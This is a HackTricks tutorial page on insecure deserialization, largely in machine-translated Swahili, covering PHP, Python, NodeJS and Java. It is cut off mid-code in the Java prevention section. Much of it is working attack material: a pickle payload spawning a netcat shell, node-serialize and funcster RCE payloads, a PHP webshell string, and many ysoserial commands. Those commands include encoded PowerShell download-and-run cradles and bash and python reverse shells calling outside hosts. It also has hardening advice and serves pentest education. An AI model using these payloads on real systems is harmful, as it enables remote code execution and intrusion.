Deserialization
Reading time: 42 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Serialization inamaanika kama njia ya kubadilisha kitu kuwa katika muundo ambao unaweza kuhifadhiwa, kwa nia ya ama kuhifadhi kitu hicho au kukituma kama sehemu ya mchakato wa mawasiliano. Tekni hii hutumiwa mara nyingi kuhakikisha kwamba kitu hicho kinaweza kuundwa tena baadaye, ikihifadhi muundo na hali yake.
Deserialization, kinyume chake, ni mchakato unaopinga serialization. Inahusisha kuchukua data ambayo imeundwa katika muundo maalum na kuijenga tena kuwa kitu.
Deserialization inaweza kuwa hatari kwa sababu inaweza kuruhusu washambuliaji kubadilisha data iliyosaralishwa ili kutekeleza msimbo mbaya au kusababisha tabia isiyotarajiwa katika programu wakati wa mchakato wa ujenzi wa kitu.
PHP
Katika PHP, mbinu maalum za kichawi hutumiwa wakati wa mchakato wa serialization na deserialization:
__sleep
: Inaitwa wakati kitu kinaposaralishwa. Mbinu hii inapaswa kurudisha orodha ya majina ya mali zote za kitu ambazo zinapaswa kusaralishwa. Inatumika mara nyingi kuhifadhi data inayosubiri au kufanya kazi za usafi zinazofanana.__wakeup
: Inaitwa wakati kitu kinaposaralishwa. Inatumika kurejesha uhusiano wowote wa database ambao unaweza kuwa umepotea wakati wa serialization na kufanya kazi nyingine za kuanzisha tena.__unserialize
: Mbinu hii inaitwa badala ya__wakeup
(ikiwa inapatikana) wakati kitu kinaposaralishwa. Inatoa udhibiti zaidi juu ya mchakato wa deserialization ikilinganishwa na__wakeup
.__destruct
: Mbinu hii inaitwa wakati kitu kinakaribia kuharibiwa au wakati script inamalizika. Inatumika kawaida kwa kazi za usafi, kama kufunga mikono ya faili au uhusiano wa database.__toString
: Mbinu hii inaruhusu kitu kutendewa kama string. Inaweza kutumika kwa kusoma faili au kazi nyingine kulingana na wito wa kazi ndani yake, ikitoa kwa ufanisi uwakilishi wa maandiko wa kitu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Ikiwa utaangalia matokeo, utaona kwamba kazi __wakeup
na __destruct
zinaitwa wakati kitu kinapokuwa deserialized. Kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi __toString
inaitwa unapojaribu kuchapisha sifa fulani, lakini kwa wazi hii haitendeki tena.
warning
Njia __unserialize(array $data)
inaitwa badala ya __wakeup()
ikiwa imeanzishwa katika darasa. Inakuruhusu kuunserialize kitu kwa kutoa data iliyosajiliwa kama array. Unaweza kutumia njia hii kuunserialize mali na kufanya kazi zozote zinazohitajika wakati wa deserialization.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Fanya kazi zozote zinazohitajika wakati wa deserialization.
}
}
Unaweza kusoma mfano wa PHP ulioelezewa hapa: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hapa https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf au hapa https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Unaweza kutumia vibaya kazi ya autoload ya PHP ili kupakia faili za php zisizo na mpangilio na zaidi:
PHP - Deserialization + Autoload Classes
Serializing Referenced Values
Ikiwa kwa sababu fulani unataka kusajili thamani kama kiungo kwa thamani nyingine iliyosajiliwa, unaweza:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Kuzuia Uingizaji wa Kitu cha PHP kwa allowed_classes
info
Msaada kwa hoja ya pili ya unserialize()
(array ya $options
) iliongezwa katika PHP 7.0. Katika toleo za zamani, kazi hiyo inakubali tu mfuatano wa serialized, na kufanya iwe vigumu kuzuia ni madarasa gani yanaweza kuanzishwa.
unserialize()
it aanzisha kila darasa inakopata ndani ya mfuatano wa serialized isipokuwa ikisemwa vinginevyo. Tangu PHP 7, tabia hii inaweza kuzuia kwa chaguo la allowed_classes
:
// NEVER DO THIS β full object instantiation
$object = unserialize($userControlledData);
// SAFER β disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular β only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Ikiwa allowed_classes
imeachwa au msimbo unafanya kazi kwenye PHP < 7.0, wito unakuwa hatari kwani mshambuliaji anaweza kuunda payload inayotumia mbinu za kichawi kama __wakeup()
au __destruct()
ili kufikia Remote Code Execution (RCE).
Mfano wa kweli: Everest Forms (WordPress) CVE-2025-52709
Plugin ya WordPress Everest Forms β€ 3.2.2 ilijaribu kuwa na ulinzi kwa kutumia wrapper ya msaada lakini ilisahau kuhusu toleo la zamani la PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP β₯ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Katika seva ambazo bado zilikuwa zinaendesha PHP β€ 7.0, tawi hili la pili lilisababisha PHP Object Injection ya kawaida wakati msimamizi alifungua uwasilishaji wa fomu mbaya. Payload ya ku exploit ya chini inaweza kuonekana kama:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Mara tu admin alipokutana na kuingia, kitu kilianzishwa na SomeClass::__destruct()
kilitekelezwa, na kusababisha utekelezaji wa msimbo wa kiholela.
Mambo ya Kujifunza
- Daima pitisha
['allowed_classes' => false]
(au orodha ya nyeupe kali) unapoitishaunserialize()
. - Kagua vifungashio vya kujihami β mara nyingi wanakosa kuhusu matawi ya zamani ya PHP.
- Kuweka toleo la PHP β₯ 7.x pekee si sawa: chaguo bado kinahitaji kutolewa wazi.
PHPGGC (ysoserial kwa PHP)
PHPGGC inaweza kukusaidia kuunda payloads za kutumia PHP deserializations.
Kumbuka kwamba katika kesi kadhaa huwezi kupata njia ya kutumia deserialization katika msimbo wa chanzo wa programu lakini unaweza kutumia msimbo wa nyongeza za PHP za nje.
Hivyo, ikiwa unaweza, angalia phpinfo()
ya seva na tafuta mtandaoni (hata kwenye gadgets za PHPGGC) baadhi ya gadgets zinazoweza kutumiwa.
phar:// metadata deserialization
Ikiwa umepata LFI inayosoma tu faili na si kutekeleza msimbo wa php ndani yake, kwa mfano kutumia kazi kama file_get_contents(), fopen(), file() au file_exists(), md5_file(), filemtime() au filesize(). Unaweza kujaribu kutumia deserialization inayotokea unapokuwa ukisoma faili kwa kutumia itifaki ya phar.
Kwa maelezo zaidi soma chapisho lifuatalo:
Python
Pickle
Wakati kitu kinapokutana na unpickle, kazi ___reduce___ itatekelezwa.
Wakati inatumika, seva inaweza kurudisha kosa.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Kabla ya kuangalia mbinu ya kupita, jaribu kutumia print(base64.b64encode(pickle.dumps(P(),2)))
ili kuunda kitu ambacho kinapatana na python2 ikiwa unatumia python3.
Kwa maelezo zaidi kuhusu kutoroka kutoka pickle jails angalia:
Yaml & jsonpickle
Ukurasa ufuatao un presenting mbinu ya kudhulumu deserialization isiyo salama katika yamls maktaba za python na kumaliza na chombo ambacho kinaweza kutumika kuunda RCE deserialization payload kwa Pickle, PyYAML, jsonpickle na ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS haina "magic" functions kama PHP au Python ambazo zitatekelezwa tu kwa ajili ya kuunda kitu. Lakini ina functions ambazo zinatumika mara kwa mara hata bila kuziita moja kwa moja kama toString
, valueOf
, toJSON
.
Ikiwa unatumia deserialization unaweza kudhulumu hizi functions ili kutekeleza code nyingine (kwa uwezekano wa kudhulumu prototype pollutions) unaweza kutekeleza code isiyo na mipaka wakati zinapoitwa.
Njia nyingine "magic" ya kuita function bila kuikalia moja kwa moja ni kwa kudhulumu kitu ambacho kinarejeshwa na function ya async (ahadi). Kwa sababu, ikiwa un abadilisha hiyo kitu kinachorejeshwa kuwa ahadi nyingine yenye sifa inayoitwa "then" ya aina function, itatekelezwa tu kwa sababu inarejeshwa na ahadi nyingine. Fuata kiungo hiki kwa maelezo zaidi.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
na uchafuzi wa prototype
Ikiwa unataka kujifunza kuhusu mbinu hii angalia tutorial ifuatayo:
NodeJS - proto & prototype Pollution
node-serialize
Maktaba hii inaruhusu kusanifisha kazi. Mfano:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
kipande kilichopangwa kitaonekana kama:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Unaweza kuona katika mfano kwamba wakati kazi inasajiliwa, bendera _$$ND_FUNC$$_
inaongezwa kwenye kitu kilichosajiliwa.
Ndani ya faili node-serialize/lib/serialize.js
unaweza kupata bendera hiyo hiyo na jinsi msimbo unavyotumia hiyo.
Kama unavyoona katika kipande cha mwisho cha msimbo, ikiwa bendera imepatikana eval
inatumika kusafisha kazi, hivyo kimsingi ingizo la mtumiaji linatumika ndani ya kazi ya eval
.
Hata hivyo, kusaidia tu kazi hakutatekeleza kwani itahitajika sehemu fulani ya msimbo kuitisha y.rce
katika mfano wetu na hiyo ni ngumu sana.
Hata hivyo, unaweza tu kubadilisha kitu kilichosajiliwa kwa kuongeza mabano ili kutekeleza kiotomatiki kazi iliyosajiliwa wakati kitu kinaposafishwa.
Katika kipande kijacho cha msimbo angalia mabano ya mwisho na jinsi kazi ya unserialize
itatekeleza kiotomatiki msimbo:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Kama ilivyosemwa awali, maktaba hii itapata msimbo baada ya _$$ND_FUNC$$_
na itau tekeleza kwa kutumia eval
. Hivyo, ili kuji-tekeleza msimbo unaweza kufuta sehemu ya uundaji wa kazi na paranthesis ya mwisho na kuendesha tu JS oneliner kama katika mfano ufuatao:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Unaweza kupata hapa taarifa zaidi kuhusu jinsi ya kutumia udhaifu huu.
funcster
Jambo muhimu kuhusu funcster ni ukosefu wa upatikanaji wa vitu vya ndani vilivyojengwa; vinatoka nje ya upeo unaopatikana. Kikomo hiki kinazuia utekelezaji wa msimbo unaojaribu kuita mbinu kwenye vitu vya ndani, na kusababisha makosa kama "ReferenceError: console is not defined"
wakati amri kama console.log()
au require(something)
zinapotumika.
Licha ya kikomo hiki, urejeleaji wa upatikanaji kamili wa muktadha wa kimataifa, ikiwa ni pamoja na vitu vyote vya ndani vilivyojengwa, inawezekana kupitia njia maalum. Kwa kutumia muktadha wa kimataifa moja kwa moja, mtu anaweza kupita kikomo hiki. Kwa mfano, upatikanaji unaweza kurejelewa kwa kutumia kipande kifuatacho:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Kwa maelezo zaidi soma chanzo hiki.
serialize-javascript
Kifurushi cha serialize-javascript kimeundwa mahsusi kwa ajili ya kusawazisha, hakina uwezo wowote wa kujisawazisha. Watumiaji wanawajibika kutekeleza njia zao za kujisawazisha. Matumizi ya moja kwa moja ya eval
yanapendekezwa na mfano rasmi wa kujisawazisha data iliyosawazishwa:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Ikiwa kazi hii inatumika kuunda tena vitu unaweza kuiharibu kwa urahisi:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Kwa maelezo zaidi soma chanzo hiki.
Maktaba ya Cryo
Katika kurasa zifuatazo unaweza kupata taarifa kuhusu jinsi ya kutumia vibaya maktaba hii ili kutekeleza amri zisizo na mipaka:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Katika Java, kurejesha maoni ya deserialization hufanyika wakati wa mchakato wa deserialization. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari.
Alama za Kidole
Sanduku la Nyeupe
Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta:
- Madarasa yanayotekeleza interface ya
Serializable
. - Matumizi ya
java.io.ObjectInputStream
,readObject
,readUnshare
kazi.
Zingatia kwa makini:
XMLDecoder
inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje.- Njia ya
fromXML
yaXStream
, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa na matatizo ya serialization. ObjectInputStream
iliyoambatanishwa na njia yareadObject
.- Utekelezaji wa njia kama
readObject
,readObjectNodData
,readResolve
, aureadExternal
. ObjectInputStream.readUnshared
.- Matumizi ya jumla ya
Serializable
.
Sanduku la Nyeusi
Kwa upimaji wa sanduku la nyeusi, angalia sahihi maalum au "Magic Bytes" zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na ObjectInputStream
):
- Mchoro wa hexadecimal:
AC ED 00 05
. - Mchoro wa Base64:
rO0
. - Vichwa vya majibu ya HTTP vyenye
Content-type
vilivyowekwa kuwaapplication/x-java-serialized-object
. - Mchoro wa hexadecimal unaoashiria kufungwa kwa awali:
1F 8B 08 00
. - Mchoro wa Base64 unaoashiria kufungwa kwa awali:
H4sIA
. - Faili za wavuti zenye kiambishi cha
.faces
na parameter yafaces.ViewState
. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika post kuhusu Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Angalia kama kuna udhaifu
Ikiwa unataka kujifunza jinsi unavyofanya kazi ya Java Deserialized exploit unapaswa kuangalia Basic Java Deserialization, Java DNS Deserialization, na CommonsCollection1 Payload.
Mtihani wa Sanduku Nyeupe
Unaweza kuangalia kama kuna programu yoyote iliyosakinishwa yenye udhaifu unaojulikana.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.
Black Box Test
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream
deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream
deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream
related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream
.
I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Wakati wa kuunda payload kwa java.lang.Runtime.exec() huwezi kutumia herufi maalum kama ">" au "|" kuhamasisha matokeo ya utekelezaji, "$()" kutekeleza amri au hata kupitisha hoja kwa amri zilizotenganishwa na nafasi (unaweza kufanya echo -n "hello world"
lakini huwezi kufanya python2 -c 'print "Hello world"'
). Ili kuandika payload kwa usahihi unaweza kutumia ukurasa huu.
Jihisi huru kutumia skripti ifuatayo kuunda payloads zote zinazowezekana za utekelezaji wa msimbo kwa Windows na Linux kisha uzijaribu kwenye ukurasa wa wavuti ulio hatarini:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Unaweza kutumia https://github.com/pwntester/SerialKillerBypassGadgetCollection pamoja na ysoserial kuunda exploit zaidi. Taarifa zaidi kuhusu chombo hiki katika slides za mazungumzo ambapo chombo kilitolewa: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec inaweza kutumika kuunda payloads za kutumia katika maktaba tofauti za Json na Yml serialization katika Java.
Ili kukusanya mradi nilihitaji kuongeza hizi dependencies kwenye pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Sakinisha maven, na jenga mradi:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Soma zaidi kuhusu maktaba hii ya Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Ikiwa unataka kujaribu baadhi ya payloads za ysoserial unaweza kuendesha hii webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Kwa Nini
Java inatumia serialization nyingi kwa madhumuni mbalimbali kama:
- HTTP requests: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, nk.
- RMI (Remote Method Invocation): Protokali ya Java RMI, ambayo inategemea kabisa serialization, ni msingi wa mawasiliano ya mbali katika programu za Java.
- RMI juu ya HTTP: Njia hii inatumika kawaida na programu za wavuti za Java zenye wateja wazito, zikitumika serialization kwa mawasiliano yote ya vitu.
- JMX (Java Management Extensions): JMX inatumia serialization kwa kutuma vitu kupitia mtandao.
- Protokali za Kawaida: Katika Java, mazoea ya kawaida yanahusisha uhamasishaji wa vitu vya Java safi, ambavyo vitadhihirishwa katika mifano ijayo ya exploit.
Kuzuia
Vitu vya muda
Darasa linalotekeleza Serializable
linaweza kutekeleza kama transient
kitu chochote ndani ya darasa ambacho hakipaswi kuwa serializable. Kwa mfano:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable
Katika hali ambapo vitu fulani vinapaswa kutekeleza interface ya Serializable
kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya final
readObject()
ambayo daima inatupa kivunjaji, kama inavyoonyeshwa hapa chini:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Kuimarisha Usalama wa Deserialization katika Java
Kubadilisha java.io.ObjectInputStream
ni njia ya vitendo ya kulinda michakato ya deserialization. Njia hii inafaa wakati:
- Kanuni za deserialization ziko chini ya udhibiti wako.
- Madarasa yanayotarajiwa kwa deserialization yanajulikana.
Pitia resolveClass()
ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la Bicycle
pekee:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Kutumia Wakala wa Java kwa Kuimarisha Usalama hutoa suluhisho la akiba wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa kuorodhesha madarasa hatari, kwa kutumia parameter ya JVM:
-javaagent:name-of-agent.jar
Inatoa njia ya kulinda deserialization kwa njia ya kidinamik, inayofaa kwa mazingira ambapo mabadiliko ya haraka ya msimbo hayawezekani.
Angalia mfano katika rO0 by Contrast Security
Kutekeleza Filters za Serialization: Java 9 ilianzisha filters za serialization kupitia ObjectInputFilter
interface, ikitoa mekanismu yenye nguvu ya kuweka vigezo ambavyo vitu vilivyotolewa lazima viwe navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mitiririko maalum. Kwa mfano:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
